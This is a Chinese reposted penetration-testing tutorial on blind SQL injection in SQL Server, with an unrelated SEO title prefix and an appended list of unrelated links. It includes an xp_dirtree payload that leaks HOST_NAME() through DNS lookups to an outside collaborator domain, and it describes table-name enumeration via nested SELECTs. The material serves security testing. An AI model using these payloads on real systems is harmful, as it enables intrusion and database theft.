hql中获取前一天的数据_如何使用DNS和SQLi从数据库中获取数据样本
泄露数据的方法有许多,但你是否知道可以使用DNS和SQLi从数据库中获取数据样本?本文我将为大家介绍一些利用SQL盲注从DB服务器枚举和泄露数据的技术。
在最近的一个Web应用测试中,我发现了一个潜在的SQLi漏洞。使用Burp的Collaborator服务通过DNS交互最终我确认了该SQL注入漏洞的存在。我尝试使用SQLmap进行一些额外的枚举和泄露,但由于SQLmap header的原因WAF阻止了我的请求。我需要另一种方法来验证SQLi并显示可以从服务器恢复数据。
在之前的文章中,我向大家展示了如何使用xp_dirtree通过SQLi来捕获SQL Server用户哈希值的方法。这里我尝试了相同的方法,但由于客户端防火墙上的出站过滤而失败了。此外,在上篇文章中我还引用了GracefulSecurity的文章内容,而在本文中它也将再次派上用场。
即使有出站过滤,xp_dirtree仍可用于从网络中泄露数据。这是因为SQL服务器必须在xp_dirtree操作的目标上执行DNS查找。因此,我们可以将数据添加为域名的主机或子域部分。例如,如果我在collaborator.redsiege.net上设置DNS服务器,我可以强制xp_dirtree在data.collaborator.redsiege.net上执行DNS查找,我的DNS服务器将接收该主机的查询,允许我提取来自请求的数据。可能这么说你还有些混乱,我们通过一个实例来讲解。
请思考以下代码:
DECLARE @data varchar(1024);
SELECT @data = (SELECT HOST_NAME());
EXEC('master.dbo.xp_dirtree "\\'+@data+'.collaborator.redsiege.net\foo$"');
在此SQL查询中,我们声明了一个名为data的变量,我们使用SELECT HOST_NAME()的结果来填充该变量,然后在\hostname.collaborator.redsiege.net上尝试xp_dirtree。
我的测试系统名为INTRUDER。在我的测试系统上执行这个查询导致了对INTRUDER.collaborator.redsiege.net的查找,如下所示。
在这一点上,我知道有一种可靠的方法可以来泄露数据,即使需要手动完成。当然,对于这个演示我使用SQL Server Management Studio来显示结果发出查询,但实际上这与通过SQLi实现这一点并没有太大区别,唯一的不同就是需要对部分查询进行URL编码。
在下面的示例中,红框中的查询语句将会为我们从Northwind数据库中返回表名。
在该查询中你应该已经注意到了有2个SELECT语句。内部SELECT语句(在上面截图中调用的)返回Northwind数据库中表名的前10个结果,并按升序字母顺序排序。然后,外部(第一个)SELECT语句选择按字母顺序降序排序的结果集的第一个结果。此查询的结果是我们检索Northwind数据库中第10个表的名称。你是不是感到有些疑惑?让我们来分解下。
以下内部的SELECT语句,它将返回10个结果并按升序字母顺序排序。
如下所示,完整的查询只返回第10个表的名称。这是因为我们首先返回了10个结果,并按升序字母顺序排序,然后我们又执行了第二个SELECT,其中只返回按降序字母顺序排序的第一个结果。这样一来查询结果将只会为我们返回表名列表中的第10个结果。
知道了这一点后,我们就可以使用Intruder迭代所有可能的表名,只需修改第二个SELECT语句并增加每个请求中的结果数即可。
如果你在测试中碰到SQL盲注而SQLmap无法帮助你完成任务时,你可以参考以下我找到的一些资料链接,或许它们能帮你完成任务甚至为你带来新的思考:
http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
https://www.gracefulsecurity.com/sql-injection-out-of-band-exploitation/
https://www.w3schools.com/SQL/trysqlserver.asp?filename=trysql_func_sqlserver_substring
*参考来源:redsiege,FB小编secist编译,转载请注明来自FreeBuf.COM
hql中获取前一天的数据_如何使用DNS和SQLi从数据库中获取数据样本相关推荐
- typescript获取数据库数据_肿瘤药敏多组学数据库(GDSC)的数据介绍和获取
在第一期的GDSC数据总览中,我们根据数据库的模块进行总体的介绍.今天我们再深入了解GDSC所包含的数据及其获取的方法,也就是GDSC的数据下载模块. GDSC数据下载的模块,分为4个模块,分别是AN ...
- php 分表 实战,PHP实战:1亿条数据如何分表100张到Mysql数据库中(PHP)
<PHP实战:1亿条数据如何分表100张到Mysql数据库中(PHP)>要点: 本文介绍了PHP实战:1亿条数据如何分表100张到Mysql数据库中(PHP),希望对您有用.如果有疑问,可 ...
- msdb 数据库_如何检索有关存储在MSDB数据库中的SSIS包的信息
msdb 数据库 介绍 (Introduction) Nowadays, most mid-size companies have implemented a Data Warehouse (DWH) ...
- python爬取玉米、小麦、水稻信息数据到本地为网页形式和mysql数据库中
1.创建Scrapy项目 scrapy startproject ExGrain 2.进入项目目录,使用命令genspider创建Spider scrapy genspider exgrain ex- ...
- 使用mybatis插入数据到数据库中,显示插入成功,且没有报错,但是数据库中并没有新插入的数据的原因
使用mybatis插入数据到数据库中,显示插入成功,且没有报错,但是数据库中并没有数据的原因 没有提交事务,有时没有配置自动提交事务的设置,所以需要手动提交事务,即 sqlSession.commit ...
- 如何判断数据库中的两个表是否相同(相等)?比较数据库中的两个表是否完全相同,包括字段和每条记录
如何判断数据库中的两个表是否相同(相等)?比较数据库中的两个表是否完全相同,包括字段和每条记录 目录
- flux读取不到数据_【Java】spring-webflux两种开发模式,获取不到使用ajax的post提交的数据?...
遇到的问题: 1.使用注解式:在js中使用ajax提交post数据name,在controller中使用@RequestBody无法获取到数据. 2.使用函数式:在js中使用ajax提交post数据n ...
- sql 获取两个月内数据_如何在3个月的时间内自学成为数据分析师?
从一名0基础的用户运营自学成为数据分析师,我花了大半年的时间,但是抛开工作时间,系统性的学习只花了3个月. 这篇文章会从学习资源和学习路径两个方面分享我的自学经验,希望能对大家有所帮助. 先来说说有哪 ...
- 斯坦福的著名小兔子模型的点云数据_传统方法的点云分割以及PCL中分割模块
之前在微信公众号中更新了以下几个章节 1,如何学习PCL以及一些基础的知识 2,PCL中IO口以及common模块的介绍 3, PCL中常用的两种数据结构KDtree以及Octree树的介绍 有兴趣 ...
- .net 从txt中读取行数据_【VBA项目】从指定文件中读取数据并绘制图表
VBA 是一种很久远的编程语言,但并不过时.在满足以下两个条件时,借助 VBA 可以极大的提升生产率,降低出错率: 你的电脑上不允许自主安装软件: 你需要执行的工作中大部分的步骤都是固定且重复的. 项 ...
最新文章
- 单引号(')和双引号()
- [2-SAT]【学习笔记】【未完】
- Reverse Vowels of a String (反转字符串中的母音)
- J2ME手游开发日记
- excel大作业素材_Excel | 同一单元格内多个姓名,如何统计人数
- 零基础写Java知乎爬虫之进阶篇
- STM32 DMA传输
- 查看linux上卸载mysql数据库_linux卸载mysql数据库
- Python import容易犯的一个错误
- 判断质数和合数python代码_【奇技淫巧】利用正则进行需要整除操作的判断,如:奇偶性,质数合数...
- mysql analyze_技术分享 | MySQL EXPLAIN ANALYZE
- 科学计算机复利现值怎么计算公式,复利现值计算公式
- 笔记本电脑键盘坏了,有密码应该如何打开?(生活小技巧)
- Unity3D中文视频教程【超清+精选】
- 快速干净卸载Oracle
- OpenAi 语法修正
- 【python+pyqt5】B站直播弹幕姬
- 创业项目怎么获得专业的投融资服务?
- #插件需求# ffmpeg下载mpd切片视频
- Java调用百度OCR文字识别API实现图片文字识别软件